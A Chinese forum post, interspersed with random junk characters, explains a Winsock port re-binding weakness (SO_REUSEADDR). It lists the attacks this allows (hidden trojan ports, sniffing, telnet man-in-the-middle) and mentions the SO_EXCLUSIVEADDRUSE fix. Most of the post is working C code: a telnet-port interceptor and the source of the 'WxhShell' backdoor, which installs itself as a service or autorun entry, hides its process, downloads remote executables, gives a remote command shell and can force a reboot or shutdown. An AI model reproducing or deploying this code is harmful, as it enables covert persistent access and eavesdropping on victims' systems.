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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =Ewa}$-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ldJ eja~Xl  
54 8w v  
  saddr.sin_family = AF_INET; !Xt=+aKN  
38P_wf~ \  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p-U'5<n  
Xg#g`m%(M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~mUP!f  
,wmPK;j  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 GXaCH))TO  
B^(0>Da\  
  这意味着什么?意味着可以进行如下的攻击: LyA=(h6  
l'N>9~f  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 UQz8":#V  
wL 5p0Xl  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _96hw8  
_\ n'uW$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,cm;A'4]  
DBi3 j  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  v ~73  
5Am*1S^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $UlA_l29  
x@ bZ((w  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 WU1 I>i  
2S^xqvh  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fU~>A-P  
n?@o:c5,r  
  #include LV=!nF0  
  #include d87pQ3e:&  
  #include T8YqCT"EA<  
  #include    fw^mjD  
  DWORD WINAPI ClientThread(LPVOID lpParam);   FK!9to>  
  int main() NXDV3MH=  
  { R{.wAH(  
  WORD wVersionRequested; Ki-CJ y  
  DWORD ret; z$p +l]  
  WSADATA wsaData; =Fea vyx  
  BOOL val; nM8aC&Rd\  
  SOCKADDR_IN saddr; Zl"h-~31  
  SOCKADDR_IN scaddr; z'r.LBnh  
  int err; WT(R =bLw  
  SOCKET s; ox {Cm  
  SOCKET sc; O*oL(dk*8L  
  int caddsize; 3 Yl[J;i  
  HANDLE mt; Pw /wAUt  
  DWORD tid;   ?"AcK" v  
  wVersionRequested = MAKEWORD( 2, 2 ); RCNqHYR  
  err = WSAStartup( wVersionRequested, &wsaData ); V&KH{j/P  
  if ( err != 0 ) { xPqpNs-,  
  printf("error!WSAStartup failed!\n"); Z<y +D-/  
  return -1; =}7wpTc,  
  } @N.W#<IG  
  saddr.sin_family = AF_INET; zE.4e&m%Z?  
   fx.FHhVu  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #.}Su+XF  
l) VMF44  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Fg4eIE-/M  
  saddr.sin_port = htons(23); >C_! }~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (m3p28Q?  
  { [ sz#*IJ  
  printf("error!socket failed!\n"); : M0LAN  
  return -1; y>8!qVX  
  } Iu0K#.s_  
  val = TRUE; nC`#Hm.V%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Tjure]wQz  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *Gu Cv3|  
  { 7"4|`y^#  
  printf("error!setsockopt failed!\n"); iO#H_&L.p  
  return -1; e5fJN)+a  
  } !l6B_[!@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9L:v$4{LU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 e~rBV+f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3 ;.{ O%bX  
Q;r 0#"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7F?^gMi  
  { ; @Gm@d  
  ret=GetLastError(); &$hfAG]"  
  printf("error!bind failed!\n"); :CHCVoh@95  
  return -1; XNu2G19jb  
  } KU33P>a"[k  
  listen(s,2); .:RoD?px  
  while(1) [Z Ea3/  
  { Bb:jy!jq_  
  caddsize = sizeof(scaddr); O";r\Z  
  //接受连接请求 j- F=5)A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $BH0W{S  
  if(sc!=INVALID_SOCKET) >)N,V;j  
  { L/nz95  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ; p\rgam  
  if(mt==NULL) L1)?5D  
  { >R!^aJ  
  printf("Thread Creat Failed!\n"); D>*%zz|  
  break; y''?yr  
  } !h9 An  
  } 6xz&Qi7w  
  CloseHandle(mt); F w{8MQ2  
  } Zb2 B5( 0  
  closesocket(s); eMz,DYa/G  
  WSACleanup(); MzK&Jh  
  return 0; Vg[U4,  
  }   `q_7rrkO  
  DWORD WINAPI ClientThread(LPVOID lpParam) RSmxwx^  
  { MiOSSl};  
  SOCKET ss = (SOCKET)lpParam; zi*D8!_C  
  SOCKET sc; B0Z*YsbXL  
  unsigned char buf[4096]; L4kYF~G:4  
  SOCKADDR_IN saddr; r="X\ [on  
  long num; 5+3Z?|b  
  DWORD val; ?wwY8e?S  
  DWORD ret; fXL>L   
  //如果是隐藏端口应用的话,可以在此处加一些判断 k_}ICKzw1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   zO)9(%LS  
  saddr.sin_family = AF_INET; PVEEKKJP]J  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); j1d#\  
  saddr.sin_port = htons(23); } A# C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2~]c`/M3  
  { e`}|*^-  
  printf("error!socket failed!\n"); 3Q`'C7Pi  
  return -1; >Ckb9A  
  } $ HUCp9  
  val = 100; 3v0)oK  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Nt/*VYUn  
  { HM[BFF[;/  
  ret = GetLastError(); kFk+TXLDIt  
  return -1; O~aS&g/sf  
  } &a:>P>\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) de ](l687I  
  {  pd X9G  
  ret = GetLastError(); 'inWV* P*g  
  return -1; I/^Lr_\  
  }  m?B@VDZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) pbm4C0W}  
  { j<L!ONvJ1  
  printf("error!socket connect failed!\n"); K{|;'N-1  
  closesocket(sc); i, RK0q?>  
  closesocket(ss); o~GhV4vq  
  return -1; * 5P/&*c|  
  } s_1]&0<  
  while(1) @ $(4;ar  
  { @&M $`b ^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 hZzsZQ`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 I|R9@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \-sD RW  
  num = recv(ss,buf,4096,0); * rs_k/2(  
  if(num>0) !4z"a@$  
  send(sc,buf,num,0); [9+M/O|Vs  
  else if(num==0) 4L5Wa~5\  
  break; o-)E_X  
  num = recv(sc,buf,4096,0); iSFgFJG^  
  if(num>0) n!tCz<v  
  send(ss,buf,num,0); {h@R\bU  
  else if(num==0) Q6vkqu5!=  
  break; 5Vvy:<.la  
  } ,:z@Ji  
  closesocket(ss); s@3!G+ -}  
  closesocket(sc); sHEISNj/^  
  return 0 ; d0N7aacY  
  } yr;oq(&N  
/D~ ,X48+  
+pjD{S~Y  
========================================================== ,g\.C+.S  
,%ajIs"Gi  
下边附上一个代码,,WXhSHELL '-v~HwC+/T  
#4" \\  
========================================================== oEi +S)_  
ul% q6=f)  
#include "stdafx.h" TkQ05'Qc  
3cOXtDV YT  
#include <stdio.h> *YDx6\><  
#include <string.h> }D|"$*  
#include <windows.h> u(REEc~nj  
#include <winsock2.h> ^rxXAc[  
#include <winsvc.h> LL,~&5{  
#include <urlmon.h> v=X\@27= ?  
oHa6fi  
#pragma comment (lib, "Ws2_32.lib") lv8tS-  
#pragma comment (lib, "urlmon.lib") bo@1c0  
(nV/-#*  
#define MAX_USER   100 // 最大客户端连接数 q+m&V#FT%  
#define BUF_SOCK   200 // sock buffer -i;#4@^t  
#define KEY_BUFF   255 // 输入 buffer )T2Sw z/  
M=!x0V;  
#define REBOOT     0   // 重启 (oTx*GP>Y  
#define SHUTDOWN   1   // 关机 ]AfeaU'>  
%Y!lEzB5  
#define DEF_PORT   5000 // 监听端口 Y*7.3 +#  
Kk/qd)nk  
#define REG_LEN     16   // 注册表键长度 hy6px  
#define SVC_LEN     80   // NT服务名长度 #FeM.k6  
mirMDJsl%  
// 从dll定义API Z~P5SEg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2#py>rF(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vwT?Bp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rN>f"/J |  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L;v#9^Fq  
sa*hoL18  
// wxhshell配置信息 9vVYZ}HC  
struct WSCFG { z1YC%Y|R  
  int ws_port;         // 监听端口 US Q{o  
  char ws_passstr[REG_LEN]; // 口令 k-w._E <  
  int ws_autoins;       // 安装标记, 1=yes 0=no fM8 :Nt$  
  char ws_regname[REG_LEN]; // 注册表键名 q|Ga   
  char ws_svcname[REG_LEN]; // 服务名 >B3_P4pW9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xEZvCwsb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6t@3 a?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XfY]qQP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E7 7Au;TL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G2em>W_n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "\e9Y<  
XLOk+Fn  
}; 3:76x  
cvAkP2  
// default Wxhshell configuration %7hYl'83  
struct WSCFG wscfg={DEF_PORT, aA\v  
    "xuhuanlingzhe", |~uCLf>  
    1, L-$GQGk{  
    "Wxhshell", n!f @JHL  
    "Wxhshell", 9v/1>rziE  
            "WxhShell Service", Aw >DZ2  
    "Wrsky Windows CmdShell Service", K{"+eA>CU  
    "Please Input Your Password: ", `+i<:,z-gs  
  1, U${dWxC  
  "http://www.wrsky.com/wxhshell.exe", &:Raf5G-E  
  "Wxhshell.exe" /y NU0/  
    }; 4S+P]U*jW  
WJ/&Ag1  
// 消息定义模块 HhIa=,VY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tn:tM5m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M|e@N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Nhuw8Xv  
char *msg_ws_ext="\n\rExit."; J/ 4kS<c  
char *msg_ws_end="\n\rQuit."; Pc1vf]  
char *msg_ws_boot="\n\rReboot..."; 0 5 `x$f  
char *msg_ws_poff="\n\rShutdown..."; ?L7z\b"_~  
char *msg_ws_down="\n\rSave to "; q?JP\_o:  
hXZk$a'  
char *msg_ws_err="\n\rErr!"; S{&;  
char *msg_ws_ok="\n\rOK!"; _W&.{ 7  
(?oK+,v?L  
char ExeFile[MAX_PATH]; 7TlOF  
int nUser = 0;  Q L  
HANDLE handles[MAX_USER]; @0+@.&Z  
int OsIsNt; 3M/kfy  
])vM# f  
SERVICE_STATUS       serviceStatus; z,$^|'pP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ofRe4 *\j  
UDGVq S!,E  
// 函数声明 gh3_})8c  
int Install(void); 8BBuYY {  
int Uninstall(void); $FS j^v]  
int DownloadFile(char *sURL, SOCKET wsh); &@nI(PXv  
int Boot(int flag); 8*6U4R  
void HideProc(void); T+Du/ERL  
int GetOsVer(void); *<]ulR2  
int Wxhshell(SOCKET wsl); Fb.wm   
void TalkWithClient(void *cs); UG 9uNgzQ/  
int CmdShell(SOCKET sock); %n T!u!#  
int StartFromService(void); 0<nk>o  
int StartWxhshell(LPSTR lpCmdLine);  iCa#OQ  
jIg]?4bW[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @ 2Z{en?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }eSaF@.  
CO-9-sQx  
// 数据结构和表定义 08cC rG  
SERVICE_TABLE_ENTRY DispatchTable[] = ioz4kG!  
{ r m\]  
{wscfg.ws_svcname, NTServiceMain}, UJ n3sZ<}  
{NULL, NULL} PkMN@JS  
}; `Z0FQ( r_  
sYYNT*  
// 自我安装 z'j4^Xz?%$  
int Install(void) H $XO] \  
{ 9x23## s  
  char svExeFile[MAX_PATH]; xrf z-"n4  
  HKEY key; S sGb;  
  strcpy(svExeFile,ExeFile); _-$(=`8|<{  
iTwb#Q=  
// 如果是win9x系统,修改注册表设为自启动 _?CyKk\I  
if(!OsIsNt) { K>N\U@@8i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0EKi?vP@y7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k`_sKr]9  
  RegCloseKey(key); 2.qEy6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -QN1= G4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kq8.SvIb  
  RegCloseKey(key); gwm!Pw j  
  return 0; X0.kQ  
    } *%E4 ,(T  
  } Kejp7 okb  
} wQEsq<  
else { d)1 d0ES  
SFv'qDA  
// 如果是NT以上系统,安装为系统服务 3f@@|vZF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |6v $!wBi  
if (schSCManager!=0) A+de;&  
{ Q V)>+6\  
  SC_HANDLE schService = CreateService &N:Iirg  
  ( <A^sg?s<'  
  schSCManager, kUGOkSP8[  
  wscfg.ws_svcname, C.].HQ  
  wscfg.ws_svcdisp,  k{d]  
  SERVICE_ALL_ACCESS, N:x--,2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [MhKR }a  
  SERVICE_AUTO_START, +saXN6  
  SERVICE_ERROR_NORMAL, ;-#2p^  
  svExeFile, %PM&`c98z7  
  NULL, "ngULpb{R  
  NULL, JlR$"GU  
  NULL, ~@=(#tO.  
  NULL, Swa0TiT(  
  NULL & %A&&XT9  
  ); !mHMFwvS  
  if (schService!=0) GZH{"_$  
  { 4PjC[A*  
  CloseServiceHandle(schService); lonV_Xx  
  CloseServiceHandle(schSCManager);  |W_;L6)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ORuC("  
  strcat(svExeFile,wscfg.ws_svcname); 2[j(C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UE8j8U'L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @GUlw[vi  
  RegCloseKey(key); ZP{<f~;  
  return 0; +`,;tz=?  
    } `>)[UG!:|  
  } 2Pow-o*r  
  CloseServiceHandle(schSCManager); )G#mC0?PV  
} ];xDXQd  
} qYoB;gp  
^G|* =~_  
return 1; vMd3#@  
} o1`\*]A7J  
I+=+ ,iXhB  
// 自我卸载 p<1y$=zS  
int Uninstall(void) `+z^#3l  
{ A]Bf&+V  
  HKEY key; 5skxixG  
m ww<Xm'  
if(!OsIsNt) { vAp<Muj(a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <qg4Rz\c]  
  RegDeleteValue(key,wscfg.ws_regname); J 2<kOXXJ9  
  RegCloseKey(key); ijsoY\V50  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p8Z?R^$9H  
  RegDeleteValue(key,wscfg.ws_regname); |Dt_lQp#  
  RegCloseKey(key); (\0 <|pW  
  return 0; Nv=78O1  
  } jc!m; U t  
} CYRZ2Yrk?"  
} U0gZf5;*  
else { 8EI9&L>  
8~tX>q<@q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U% q-#^A  
if (schSCManager!=0) F+"_]  
{ }}"pQ!Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GLgf%A`5/_  
  if (schService!=0) G4uG"  
  { I`zd:o]  
  if(DeleteService(schService)!=0) { ,AmwsXN"F  
  CloseServiceHandle(schService); >`r3@|UY  
  CloseServiceHandle(schSCManager);  0:f]&Ng  
  return 0; Xu8I8nAwl  
  } 6<2H 7'  
  CloseServiceHandle(schService); 9w$m\nV  
  } =:aJZ[UU<2  
  CloseServiceHandle(schSCManager); *,mI=1  
} AHRJ7l;a  
} ak7kb75o  
3 P9ux  
return 1; DY -5(6X  
} 3/>7b (  
! !A0K"h  
// 从指定url下载文件 MjU|XQS:  
int DownloadFile(char *sURL, SOCKET wsh) V(_1q  
{ B*N1)J\5  
  HRESULT hr; y(o)} m*0  
char seps[]= "/"; V:$+$"|  
char *token; RN[I%^$"  
char *file; SRwD`FF  
char myURL[MAX_PATH]; #8|LPfA  
char myFILE[MAX_PATH]; i|J%jA  
<XIIT-b[  
strcpy(myURL,sURL); qT48Y  
  token=strtok(myURL,seps); oQ 2$z8  
  while(token!=NULL) )rq |t9kix  
  { >~SS^I0  
    file=token; r/2= nE  
  token=strtok(NULL,seps); 5?lc%,-&  
  } ^Jp,&  
)V\@N*L`ik  
GetCurrentDirectory(MAX_PATH,myFILE); TWzLJ63*  
strcat(myFILE, "\\"); &)Xc'RQ.C  
strcat(myFILE, file); Lm TFvZ  
  send(wsh,myFILE,strlen(myFILE),0); &^r>Q`u  
send(wsh,"...",3,0); OvtE)u l@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DMM<,1  
  if(hr==S_OK) 51SmoFbMz  
return 0; X*QS/\  
else P( hGkY=(  
return 1; X_]rtG  
BH">#&j[  
} O2?C *  
nN\H'{Wzd  
// 系统电源模块 F!]Sr'UA  
int Boot(int flag) g1s%x=7/  
{ Ho>Np&  
  HANDLE hToken; r-<O'^C  
  TOKEN_PRIVILEGES tkp; dE7S[O  
Ks-$:~?5":  
  if(OsIsNt) { j,.\QwpU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %up?70  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;f[lq^eV  
    tkp.PrivilegeCount = 1; E5w;75,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }d<R 5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7uF|Z(  
if(flag==REBOOT) { 7;s#QqG`I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y()" 2CCV  
  return 0; f8Iddm#  
} p+ CUYo(  
else { iRzFA!wH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <s9?9^!!V^  
  return 0; /|IPBU 5  
} VPe0\?!d  
  } FEaT}/h;  
  else { =l/6-j^  
if(flag==REBOOT) { # z|Q $  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u^1#9bAW8  
  return 0; KJA :;   
} v1 .3gzR  
else { CkT(\6B-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JE=t e(a  
  return 0; X\AH^I6S  
} G0E5Y;YIN$  
} Bqq=2lj  
an"&'D}U  
return 1; *MP.YI:h  
} : ?>7Z6  
CD$#}Id  
// win9x进程隐藏模块 'X^auyL  
void HideProc(void) Y`;}w}EcgR  
{ F5h/>  
FSIiw#xzH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5(3O/C{?~  
  if ( hKernel != NULL ) "& ,ov#  
  { IS2cU'   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hH %>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p+VU:%.t  
    FreeLibrary(hKernel); .ZpOYhk  
  } U1[)eD`  
M:S-%aQ_<y  
return; WYw#mSp  
} lW+mH=  
-(qRC0V  
// 获取操作系统版本 Zh"m;l/]  
int GetOsVer(void) CXa[%{[n  
{ eb62(:=N6  
  OSVERSIONINFO winfo; ?=VvFfv%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~}Xus?e  
  GetVersionEx(&winfo); A,}M ^$@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o ).deP s-  
  return 1; kT% wt1T4  
  else '7Gv_G_  
  return 0; *g/klK  
} =[6^NR(  
a`xq h2P  
// 客户端句柄模块 ,>GHR{7>(  
int Wxhshell(SOCKET wsl) ~b f\fPm  
{ B,%Vy!o  
  SOCKET wsh; wA) Hot  
  struct sockaddr_in client; Lc3&\q e  
  DWORD myID; 8-q^.<9  
Harg<l  
  while(nUser<MAX_USER) }E'0vf /  
{ uDf<D.+5Ze  
  int nSize=sizeof(client); #Y'eS'lv4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U!wi;W2  
  if(wsh==INVALID_SOCKET) return 1; wP!X)p\  
p3Sh%=HE'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }>A q<1%  
if(handles[nUser]==0) ]<;,HGO  
  closesocket(wsh); );5o13h2  
else >4:d)  
  nUser++; JK k0f9)  
  } C?PQ>Q!f-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z_d"<k}I  
"yWw3(V2>  
  return 0; PRKZg]?  
} o/5-T4  
i+_LKHQN  
// 关闭 socket @<.@ X*#I  
void CloseIt(SOCKET wsh) N]<(cG&p  
{ vQAFgG  
closesocket(wsh); 5KCB^`|b>t  
nUser--; nxLuzf4U5  
ExitThread(0); QV;o9j  
} D /eH~  
9!FX *}dC  
// 客户端请求句柄 jr6_|(0 i6  
void TalkWithClient(void *cs) )vp0X\3q`  
{ v+c>iI  
d2k-MZuT6  
  SOCKET wsh=(SOCKET)cs; %uW  =kr  
  char pwd[SVC_LEN]; gP^2GnjHL8  
  char cmd[KEY_BUFF]; Dg&84,bv^  
char chr[1]; jL VJ+mu  
int i,j; 1W^hPY  
6{Wo5O{!\  
  while (nUser < MAX_USER) { f :c'j`  
8|u4xf<  
if(wscfg.ws_passstr) { Z;BS@e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |P|B"I<?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bo 35L:r|  
  //ZeroMemory(pwd,KEY_BUFF); PwY/VGT  
      i=0; 'ofj1%c  
  while(i<SVC_LEN) { v^|U?  
,:_c-d#  
  // 设置超时 $=aO*i  
  fd_set FdRead; @6u/)>rI  
  struct timeval TimeOut; 7|rH9Bc{U  
  FD_ZERO(&FdRead); tne_]+  
  FD_SET(wsh,&FdRead); %,>z`D,Hg  
  TimeOut.tv_sec=8; P4zo[R%4  
  TimeOut.tv_usec=0; LPk@t^[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l_B735  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z>x@o}#u\|  
7[m?\/K~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]9@:7d6  
  pwd=chr[0]; *S$v SDJCW  
  if(chr[0]==0xd || chr[0]==0xa) { JA^o/%a^  
  pwd=0; ^X#y'odtbS  
  break; ] V D  
  } +v~x gUs  
  i++; i"{O~[  
    } e#Tv5O  
TpjiKM  
  // 如果是非法用户,关闭 socket m]p{]6h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q*ITs!~Z  
} \pmS*Dt  
K$E3RB_F  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (In{GA7 ;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f/Gx}x=  
53Adic  
while(1) { &L o TO+  
U82a]i0  
  ZeroMemory(cmd,KEY_BUFF); #Z&/w.D2  
1? >P3C  
      // 自动支持客户端 telnet标准   SzULy >e  
  j=0; ou,[0B3n0  
  while(j<KEY_BUFF) { kZ]H[\Fs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GP:<h@:798  
  cmd[j]=chr[0]; xtV+Le%  
  if(chr[0]==0xa || chr[0]==0xd) { e`*}?N4d  
  cmd[j]=0; j"W>fC/u  
  break; +UzQJt/>>  
  } W4^L_p>Tm^  
  j++; 6FS%9.Ws  
    } kY0HP a  
$|4@Zx4vf  
  // 下载文件 $vn6%M[  
  if(strstr(cmd,"http://")) { 3JazQU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #3uv^m LGa  
  if(DownloadFile(cmd,wsh)) (vXr2Z<l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sp `l>BL  
  else 7ZcF0h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ycA<l"  
  } PKm|?kn{0(  
  else { $l.*;h*  
qwTz7r  
    switch(cmd[0]) { i~B?p[  
  8}/DD^M  
  // 帮助 0G%9 @^B  
  case '?': { HC`0Ni1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^FCXcn9  
    break; n@p]v*  
  } =SDex.ZK]  
  // 安装 7h' C"rH  
  case 'i': { ^2+Ex+  
    if(Install()) ) u?f| D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =lacfPS  
    else U,GSWMI/K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VRo&1:  
    break; _,3ljf?WQM  
    } bG;fwgAr  
  // 卸载 -t-f&`S||  
  case 'r': { !-I,Dh-A  
    if(Uninstall()) DE13x *2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I8#2+$Be+@  
    else e =amh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t}t(fJHY`  
    break; _~FfG!H ^X  
    } UmKE]1Yw4r  
  // 显示 wxhshell 所在路径 I}$`gUXX8x  
  case 'p': { '|yxB')  
    char svExeFile[MAX_PATH]; (P>nA3:UXB  
    strcpy(svExeFile,"\n\r"); <JPN< Kv  
      strcat(svExeFile,ExeFile); cXweg;  
        send(wsh,svExeFile,strlen(svExeFile),0); ,05PYBc3  
    break; y<`5  
    } LKN7L kl  
  // 重启 !z?   
  case 'b': { MGdzrcF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "M%R{pGA7  
    if(Boot(REBOOT)) D?Oe";"/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]4~Yi1]  
    else { +IZ=E >a  
    closesocket(wsh); VZ]iep  
    ExitThread(0); UB~K/r`.|  
    } e02Hf{eOfw  
    break; Ae5A@4  
    } 4KPn V+h"b  
  // 关机 O>`k@X@9/  
  case 'd': { (3e.q'  
